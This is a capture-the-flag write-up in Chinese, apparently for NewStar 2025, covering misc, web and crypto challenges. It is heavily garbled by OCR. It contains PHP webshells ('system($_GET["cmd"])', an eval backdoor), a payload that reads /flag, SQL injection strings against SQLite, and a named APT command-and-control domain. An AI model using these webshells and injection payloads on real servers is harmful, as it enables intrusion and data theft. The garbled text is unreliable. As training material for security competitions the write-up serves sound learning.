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FIET: FAEERK
EFAM: Misc
glAmE: Web
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o [misc] ERAMAIER

ZIRER, KEAWLNN

s o HEES SE EBFTEHL FH R SR D SR FT SR /FP PDUs
~ Frame 100.0 566 100.0 60524 12 0 0 0 566
~ Ethernet 100.0 566 131 7924 1 0 0 0 566
v Internet Protocol Version 4 84.1 476 15.7 9520 2 0 0 0 476
~ Transmission Control Protocol 84.1 476 26.3 15920 3 386 13040 2 476
v Hypertext Transfer Protacol 15.9 90 21.7 13154 2 29 2923 0 90
MIME Multipart Media Encapsulation 3.7 21 14.8 8948 1 21 8948 1 21
Line-based text data 6.9 39 42 2524 0 39 2524 0 39
HTML Form URL Encoded 0.2 1 00 14 0 1 14 0 1
Address Resolution Protocol 15.9 El 42 2520 0 0 2520 0 90
N > AY A A\
AIAEBERMEHTTP, TEERXZE HTTP t#hHiX
FarEN, &ZI—A>POST R3IANEB
MNEERE, ZH— 1 =
vt hrat e, s mear e T TR Can
589 37234.367529 172.17.0.5 172.17.0.2 HTTP 659 POST /upload.php HTTP/1.1
511 37234.378264 172.17.0.2 172.17.8.5 HTTP 260 HTTP/1.1 200 OK (text/html)
519 37365.530886 172.17.8.3 172.17.0.2 HTTP 245 POST /uploads/?cmd=ThURSDAY HTTP/1.1 (application/x-www-form-urlencoded)
521 37365.536725 172.17.0.2 172.17.8.3 HTTP 328 HTTP/1.1 200 OK (text/html)
533 37426.3329%90 172.17.0.4 172.17.0.2 HTTP 148 GET /uploads/ HTTP/1.1
535 37426.341139 172.17.8.2 172.17.0.4 HTTP 256 HTTP/1.@ 5@@ Internal Server Error (text/html)

IR E MR EH token REFIR, REME—T



‘ ereshark )EE HTTP 5 (tcp.stream eq 39) - thursdayTIME.pcap = O X

POST /uploads/?cmd=ThURSDAY HTTP/1.1

Host: 172.17.8.2

User-Agent: curl/7.58.8

Accept: */*

Content-Length: 14

Content-Type: application/x-www-form-urlencoded

file=crazy.php

HTTP/1.1 286 OK

Date: Fri, 19 Sep 2825 €0:24:48 GMT

Server: Apache/2.4.29 (Ubuntu)

Cookie: token=R2FYdDNaaHhtWlMwS21TROszRVZXSUF4QVV5cehLVz1WZXNeM11lwvmdDOUJUT1BaV1MIPQ==
Content-Length: 18

Content-Type: text/html; charset=UTF-8

***n
Hello, world!

base6u.b6uddecode( 'R2FYdDNaaHhtWlMwS21TROszRVZxSUFUQVV5cOhLVZ LWZXNOMLlwVmdDOUJUTLBaVLMIPQ==")
b'GaXt3ZhxmZSOKmSGK3EVqIAxAUysHKWOVest2YpVgCIBTNPZVS=="

: base6d.b6ldecode(_)
b'\x19\xa5\xed\xdd\x98q\x99\x94\xbu*d\x86+q\x15\xa8\x801\x01L \xac\x1lc\xa5\xbdU\xeb-\xd9\x8aU\x80/AL\xd3\xdou"

A3 basebs E basebd, {EAEHKERENX, HKEFrRIEN, ERI—
ANPOST 23,7 L& payload &= &R TN

POST /upload.php HTTP/1.1
Host: 172.17.0.2

KA Flag 2 Lepgeens cnrrsse

Content-Length: 593
Content-Type: multipart/form-data; boundary=------------------—--~-—- 7a711bb836d9dele

b ase 6 4 éﬁE% , ?\)\S —————————————————————————— 7a711bb836d9dele

Content-Disposition: form-data; name="file"; filename="crazy.php"
Content-Type: application/octet-stream

}é_l/x 10 h\&iﬁﬁ <?php

echo "Hello, world!";

R 0 T 13 E&I%Eﬁirfé“ ::iﬁih:h::zﬁ?;evf?de('File_get_contents("/'Flag"));

foreach (str_split($flag, 1@) as $part) {
if (rand(e, 1)) {
$part = strrev($part);
= N L=
F, REBHT o

$part = str_rotl13($part);

}
$hahahahahaha .= $part;

—~

baseb4 RAY, T

$GLOBALS[ 'ThURSDAY'] = $hahahahahaha;
function code($x) {
Z\ > return "Cookie: token=" . base64_encode($x);
Egii égtj 3215 N -

Python REG. 7a711bb836d3de1e--

HTTP/1.1 208 OK

Date: Fri, 19 Sep 2025 ©0:23:36 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 46

Content-Type: text/html; charset=UTF-8

File is valid, and was successfully uploaded.



import baseéb4
import itertools

flag = 'R2FYdDNaaHhtWLMWS21TROSZRVZXSUFAQUVHCBNLVZLNZXNOMLLwVmaDOUJUTLBaVIMIPQ=="
flag = basebé4.bb4adecode(flag) .decode()

def rotl3(s):
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
rot = chars[13:]+chars[:13]
return s.translate(str.maketrans(charst+chars. lower(), rot+rot.lower()))

def rev(s):
return s[::-1]

for fs in itertools.product([rot13, rev], repeat=len(flag)//10+bool(len(flag)%10)):
decrypted = '*.join([f(flag[1:1+10]) for f, 1 in zip(fs, range(d, len(flag), 10))])
decrypted = baseb4.bb4decode(decrypted)
if decrypted.isascii() and decrypted.decode().strip().isprintable():
print(decrypted)

D:\PiYuanZhoulv\sl\NewStar2825\[Misc] thursdayTIME>D:/python313/python.exe "d:/PiYuanZhoulv/sl/NewStar2@25/[Misc] thursdayTIME/solve.py"

b'flag{What_1S_tHuSd4y_ Quickly_ VIVO58}\n’

b'flag{What_1S_tHuSd4y Quickly_ VIVO58}\n’

flag{What_1S_tHuSd4ay_Quickly_VIV050}

® [misc] MISC 3B#R-NewKeyboard

FTAZEMAUSB REHR, abcd:--- RN ZRFFXR, TS
M, EZINEIEERTE HID B, A tshark 12

tshark -r abcx -Y "usbhid.data" -T fields -e

usbhid.data > datal.dat

010000000000000000000000000000000COO0C0OOEOO0

01020000000000000000000000000000000000000000




HIAZOR, EWFENA T f"Shift”, A grep £

cat datal.dat | grep -v
"0100000000000000000000O0NONOOOOEEEOOOOOOOLLEEE" |
grep -v
"01020000000000000000000000000000000000000000" >

datalf.dat

F wc BEER S MT:

wc datalf.dat

R 41, NN ALANFER, ETRERZ—MNRER

tshark -r newx -Y "usbhid.data" -T fields -e

usbhid.data > data2.dat
TEHA python R (A—ERAAEFFRER data, ZELEIT)

mp = {v: k for k, v in zip(cs,

open('datalf.dat'))}

"'.join([mp.get(l, '') for 1 in

open('data2.dat')])

"' . join([mp.get(l, '") 1 ('data2.dat')])

'flag{thls_is_newkeyboard_yOu_get_it!}"

flag{thls_is_newkeyboard_yOu_get_it!}

® [misc] E¥HEF R




F MIDIEditor Z £ (HKABIEZ Audacity) FTH

£, flag

flag{thi5_1S_miDi_5tEGO}

® [misc] OSINT-EAMER

EBE#3#% hash, %3,
https://any.run/report/2c796053053a571e9f913fd5ba

e3bb45e27a9f510eaceQ44atf4b331e802a4ba0/42b56959 -

7f3e-46b8-b286-31f5765a5d67b

Threats

PID Process Class Message

ET MALWARE Kimsukz APT CnC Domain in DNS Lookup

ET INFO DNS Query for Suspicious .ml Domain

Unknown Traffic ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW) l

ERZT@EHE APT £#R: kimsuky (HEz& t@My tag BA)

DNS requests

Domain P Reputation

settings-win.data.microsoft.com 4.231.128.59
51.104.136.2

google.com .250.185. _

alps. travelmountain.ml -

login.live.com 40.126.32.138 whitelisted
20.190.160.14

40.126.32.72


https://any.run/report/2c796053053a571e9f913fd5bae3bb45e27a9f510eace944af4b331e802a4ba0/42b56959-7f3e-46b8-b286-3f5765a5d67b
https://any.run/report/2c796053053a571e9f913fd5bae3bb45e27a9f510eace944af4b331e802a4ba0/42b56959-7f3e-46b8-b286-3f5765a5d67b
https://any.run/report/2c796053053a571e9f913fd5bae3bb45e27a9f510eace944af4b331e802a4ba0/42b56959-7f3e-46b8-b286-3f5765a5d67b

EXIF

EXE
MachineType:

TimeStamp:

ImageFileCharacteristics:

PEType:
LinkerVersion:
CodeSize:
InitializedDatasSize:
UninitializedDataSize:
EntryPoint:
OSVersion:
ImageVersion:
SubsystemVersion:

Subsystem:

DNS Emt——~> unknown %t & C2: alps.travelmountain.ml

Intel 386 or later, and compatibles
2021:03:31 10:23:50+00:00
Executable, 32-bit, DLL

PE32

14.26

232960

113664

0x187fe
6

6
Windows GUI

£ EXIF B3| ZmiFHE: 2021-03-31

&R flag

flag{kimsuky_alps.travelmountain.ml1_2021-03-31}

® [misc] HELH-FEEWEAN

REXE 200 691EKB4F T, H grep




[30/Aug/2025:18:26: +0800] /character.html HTTP/1.1" 1021
[30/Aug/2025:18:26: +0800] /image/jiang.png HTTP/1.1" 889018
[30/Aug/2025:18:26: +0800] /image/maozedong.png HTTP/1.1" 843110
[30/Aug/2025:18:28: +0800] /admin/ HTTP/1.1" 885
[30/Aug/2025:18:28: +0800] /admin/Webshell HTTP/1.1" 63
[30/Aug/2625:18:31: +0800] /admin/ HTTP/1.1" 889
[30/Aug/2025:18:31: +0800] /admin/Webshell.php HTTP/1.1"
[30/Aug/2025:18:31: +0800] /admin/ HTTP/1.1" 889
[30/Aug/2025:18:31: +0800] /admin/Webshell.php HTTP/1.1"
[30/Aug/2025:18:32:09 +0800] /admin/ HTTP/1.1" 889
[30/Aug/2025:18:32: +0800] /admin/Webshell.php HTTP/1.
[30/Aug/2025:18:34: +0800] /admin/Webshell.php HTTP/1.
[30/Aug/2025:18:34: +0800] /admin/Webshell.php HTTP/1.
[30/Aug/2025:18:34: +0800] /admin/Webshell.php HTTP/1.
[30/Aug/2025:18:35: +0800] /admin/Webshell.php HTTP/1.
[30/Aug/2025:18:35: +0800] /admin/Webshell.php HTTP/1.
[30/Aug/2025:18:35: +0800] /admin/Webshell HTTP/1.1"
[30/Aug/2025:18:36: +0800] /admin/Webshell HTTP/1.1"
[30/Aug/2025:18:41: +0800] /admin/Webshell HTTP/1.1"
[30/Aug/2025:18:41: +0800] /admin/ HTTP/1.1" 885
[30/Aug/2025:18:41:54 +0800] /admin/ HTTP/1.1" 885
[30/Aug/2025:18:41: +0800] /admin/ HTTP/1.1" 885

LI —/WebShell, BHEE, A

&< O | O https//eci-2zeck33krj7fomgmdimh.cloudecii.ichungiu.com:80/admin/Webshell

<?php eavl($ POST[ flag{1f99e05c—c3cd-4bda—blf7-8h98b2ale35e}’ 1) 2>

23| flag

flag{1f99e05c-c3cd-4bda-b1f7-8b98b2ale35e}

Web

® [web] DD #nik 28

0 MoeCTF M09 BAE EEH|- KA W H—#, #HEFHES
AN, B flag BRAEFREEZEER



Btritiht (A

sprintenv

Tt

PHP_EXTRA_CONFIGURE_ARGS=—with—apxs2 —disable—cgi

APACHE_CONFDIR=/etc/apache2

HOSTNAME=engine—1

PHP_INI_DIR=/usr/local/etc/php

ECI_CONTAINER TYPE=normal

SHLVL=1

PHP_EXTRA_BUILD DEPS=apache2-dev

PHP_LDFLAGS=-W1, 01 —pie

APACHE_RUN_DIR=/var/run/apache2

ICQ_FLAG=flag {9b7ff06a—4933-47e3-9ade—316£572c8del}

PHP_CFLAGS: tack—protector—strong —fpic —fpie —02 —D _LARGEFILE SOURCE —D_FILE OFFSET BITS=64
2.34

PHP_CPPFLAGS
PHP_URL=http:
USERNAME=

var/www/html
DEPS=autoconf

APACHE_ENVVARS=/etc/apache2/envvars

e ping =&

HE®WA;printenv £3] flag

flag{9b7ff06a-4933-47e3-9a4e-316f572c8del}

® [web] BHE/INK EKE (1)

RFEFRR, FEXMFLE, FRABRNEAER




// TODO:
/1 7R IR S B A 0 XA vl B B
async function fetchload(file) {

try {
const res = await fetch('/vl/onload', {

method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: "file=${encodeURIComponent(file)}"

s

const data = await res.json();
if (data.success) {
console.log("'File content:", data.success);
} else {
console.error('Error loading file:', data.error);

h
} catch (e) {
console.error('Request failed', e);

EFR—ApEER, TELE—@ERD, REENEOEN

async function uploadFiles(files) {
for (const file of files) {
const formData = new FormData();
formData.append('file', file);
uploadArea.textContent = ~ L% [{: ${file.name} ...";
try {
const res = await fetch('/v1/upload’, {
method: 'POST',
body: formbata
I3
const data = await res.json();
if (data.success) {
uploadArea.textContent = ' A6t *;
await fetchList();
} else {
uploadArea.textContent = ' 460 * + (data.error || 'AHEEE");
}
} catch (e) {
uploadArea.textContent = " B4
}
setTimeout(() => {
uploadArea.textContent = "Hifl, Mp3 C{FE|ixH LfE";
}, 1200);

33 HTTPie BMIA IR

POST ¢ https /v1/upload

Params Headers Auth Body @ [ Request POST Response 200

v hack.php, 30B > 200 OK (5 headers)

{"success":"File uploaded","file




T < hackphp

| 1 <?php
b} 2 system($_GET["cmd"]);
13

RIEWE/vl/onload/?cmd=st " TL T, {E2FE POST XN 5%k

23| flag

flag{159ca945-8fe8-4dc4-bc60-6e3af716da73}

® [web] #RRHRIEE rZroAR

EREERE, —TRUANREIARERE, EE, KSHELER

<l BE L XAESA AEL, HERCLI2E T Doro/Doro_nJlPvs @123 -->

RIERE token, XEH JavaScript EELEMITEER

gonst response = await fetch('/start_challenge',
method: 'POST',
headers: {
'Content-Type':
"application/json’,
}
});



const data = await response.json();
eval(data.expression.replace(' (',
'BigInt(').replace('0x', 'BigInt(0x')+')")
tokenInput.value = token
challengeActive = true
submitBtn.click()

ISIERTIH!  (FABRY: 0.55F))

& #¥EIR15Flag:
flag{ef7le5a9—c75e—4b11-883b—44147225a76b}

flag{ef71le5a9-c75e-4b11-883b-44147225a76b}

® [web] NE NEEARS

SR, NiZE ban TEK, = ES(HL48, TKITUA
\n %8¢, union HIEE TR join E#,

AEMMLURA database ()X ARAE, Ki%z SQLite3, &

sqlite_master EmE k& fo SQL F/niza (HBYFHL), T
45 H JLEL X # payload:

BERE:

1%0aor%0al%0aunion%baselect%0axfrom%0a(select%0al
)%0ajoin%ba(select%ba2)%0ajoin%ba(select%0a3)%baj

oin%0a(select%ba4)%bajoin%ba(select%Baname%bafrom



%0asqlite_master)

Hidll: 1,

"cpu": 2,

"ram": 3
"status": 4,

"lastChecked": "sys_config"

% SQL:

1%0aor%bal%baunion%baselect%ba*from%0a(select%bal
)%0ajoin%ba(select%ba2)%0ajoin%ba(select%0a3)%baj
oin%0a(select%ba4)%bajoin%ba(select%basql%0afrom

Oasqlite_master)

"status": 4,
"lastChecked": "CREATE TABLE sys_config (\n id INTEGER PRIMARY
KEY AUTOINCREMENT, \n config_key VARCHAR(50) UNIQUE,\n

config_value TEXT\n)"

1‘
I

% flag:

1%0aor%0al%baunion%baselect%0axfrom%0a(select%0al
)%B0ajoin%0a(select%0a2)%0ajoin%ba(select%0a3)%0aj

oin%0a(select%0a4)%0ajoin%ba(select%Baconfig_valu



e%0afrom%0asys_config)

"idll: 1!

"cpu":

2
"ram": 3,

"status": 4,

"lastChecked": "flag{efd6f221-caaa-44T72-aade-85246565b97f}"

flag{efd6f221-caaa-4472-aa4e-85246565b97f}

® [web] RHERZIAR

if (Scipher) |

Scipher = baseb4 decode($cipher):

Sencoded = atbash(Scipher) :

Sencoded = str replace(’ °, 77, $encoded);
Sencoded = str rotl3($encoded)

@eval ($encoded) ;

exit:

W¥EF "/, L Cycberchef

https://cyberchef.orq/#recipe=R0T13(true, true, fal

se,13)Atbash_Cipher()To_Baseb64('A-Za-z0-

9%2B/%3D"' ) &input=c31zdGVtKCIjYXQiLmNocigzMikuIi9m

bGFnIik7


https://cyberchef.org/#recipe=ROT13(true,true,false,13)Atbash_Cipher()To_Base64('A-Za-z0-9%2B/%3D')&input=c3lzdGVtKCJjYXQiLmNocigzMikuIi9mbGFnIik7
https://cyberchef.org/#recipe=ROT13(true,true,false,13)Atbash_Cipher()To_Base64('A-Za-z0-9%2B/%3D')&input=c3lzdGVtKCJjYXQiLmNocigzMikuIi9mbGFnIik7
https://cyberchef.org/#recipe=ROT13(true,true,false,13)Atbash_Cipher()To_Base64('A-Za-z0-9%2B/%3D')&input=c3lzdGVtKCJjYXQiLmNocigzMikuIi9mbGFnIik7
https://cyberchef.org/#recipe=ROT13(true,true,false,13)Atbash_Cipher()To_Base64('A-Za-z0-9%2B/%3D')&input=c3lzdGVtKCJjYXQiLmNocigzMikuIi9mbGFnIik7

Recipe
ROT13

Rotate lower case chars

Rotate upper case chars

D Rotate numbers igount
Atbash Cipher
To Base64
Alphabet
A-Za-z0-9+/=
SRJE F POST & 3(B0+]
Sres = $question
echo $res Sres

br

Sres

Input

system("cat".chr(32)."/flag");

mc 30 = 1 @ 3@

Qutput ’/:

dW91dG1hKCIrbXQiLmtmdigzMikuIiSoYmlnIik7

Sanswer . br>

$res .  $res:

2> flag{64a69fa0-55b1-4c71-9ef4-dfd00d85fe8e}

flag{64a69fab-55hb1-4c71-9ef4-dfd0Od85fe8e}

Bk B

BELNAT, BESEE—ETUXE

® [Cry]E# DLP

REE-NREESEHEMFT, RELERAZTHRTERNMN

BINESENI: 1. IBF1TH®REBEEZTREA F1; 2. B3
3->3 2 KB REZMNE; 3. F1M!=S BT 4x



from pwn import *
import re
import gmpy2

context(log_level="'debug')
io = connect('39.106.48.123"', 27711)

def getF(F):
mp = {}
sub_ord = []
for subF in F.split(') ('):
subF = [int(f) for f in
subF.strip('()"').split(" ')]
sub_ord.append(len(subF))
for i, v in enumerate(subF):
mplv] = subF[(i+1)%len(subF)]
return simplify(mp), gmpy2.lcm(*sub_ord)

def apply(F2, F1):
return simplify(F2|{k:F2.get(v, v) for k, v
in Fl.items()})

def simplify(F):
return {k:v for k, v in F.items() if k != v}

for _ in range(5):
io.recvuntil(b'Round")
io.recvline()
S_ord = int(io.recvline().strip(b'S_\n'))
(F1, Fl_ord), (F2, _) = map(getF,

re.split(' +', io.recvline().decode().strip()))
F = Fl.copy()

if not F2:
io.send(b'0G\n"')
continue

i=1

while 1 < Fl_ord:
if F == F2:

io.sendafter(b':",
str(i).encode()+b'\n")
break
F = apply(F1, F)




i+=1
else:
io.send(b'no\n"')

io,intehactive()rr

Correct!

Congratulations! Your flag: flag{D15cR3t3_lo94R1tHM _8Ut_1n_p3RmuT4Tlon_9rOUp2__1t_ c3RT41nlY_WO'Nt_83_D1fFlculLt_4 U!}

flag{D15cR3t3_1094R1tHM__8Ut_1n_p3RmuT4T1lon_9r0Up

2__1t_c3RT41nlY_WO'Nt_83_D1fFlcuLt_4_U!}

® [Cry]DLP

LET N, TUSMEEE N, AHARTAEE 9, BEYHT, B2
h'T, #TRABSCS eI UKMAMNEK, &EELEESHF flag

from Crypto.Util.number import long_to_bytes
import sympy
from sympy.ntheory.modular import crt

def bsgs(a, b, p):

solve the x where a”x === b (mod p)

A = -int(-p**0.5)
map = {}

bc = b

for 1 in range(A+1):
assert bc not in map
map[bc] = i
bc *= a
bc %= p

GS = pow(a, A, p)

bc 1

for i in range(1, A+1):
bc *x= GS




bc %= p
if bc in map:
return i*A - mapl[bc]

def prime_factors(n):# —NLEXR%%, A THEBERKRLOE
res, d = [], 2
while d * d <= n:
while n % d == 0:
res.append(d)
n//=d
d +=1 if d == 2 else 2
if n > 1: res.append(n)
return res

def find_primitive_root(p):# #HE p WER, T2 2R
RUe? 5% 3— T\

phi =p -1

facs = set(prime_factors(phi))#XEHR T ITAEX

%
for g in range(2, p):
if all(pow(g, phi // q, p) !'= 1 for g in
facs) :
return g
N_

3091889008492822927309965724421053198045170216373
0357228556816937282772467201394320480708560629183
2819055916540180210625660012888515667353984324438
526947

y:
2607859842691833421430400428763011286911694735268
1413375761216053872141920713844524681887409234313
3346101040420148945804080352598475162932165207050
154918

p = list(sympy.factorint(N).keys())

g = [find_primitive_root(i) for i in p]
h = [y%i for i in p]

phi = []

r =[]
for pi, a, b in zip(p, g, h):




phi.append(pi-1)
r.append(bsgs(a, b, pi))
print(long_to_bytes(crt(phi, r)[0]))

D:\PiYuanZhoulLv\s1\NewStar2025\[#k &% ] [Cry]DLP>solve

b'flag{DO_yOu_lik3_udiS5cr3te_log@rit6m?}’

flag{DO_yOBu_1ik3_4i5cr3te_log@ritém?}




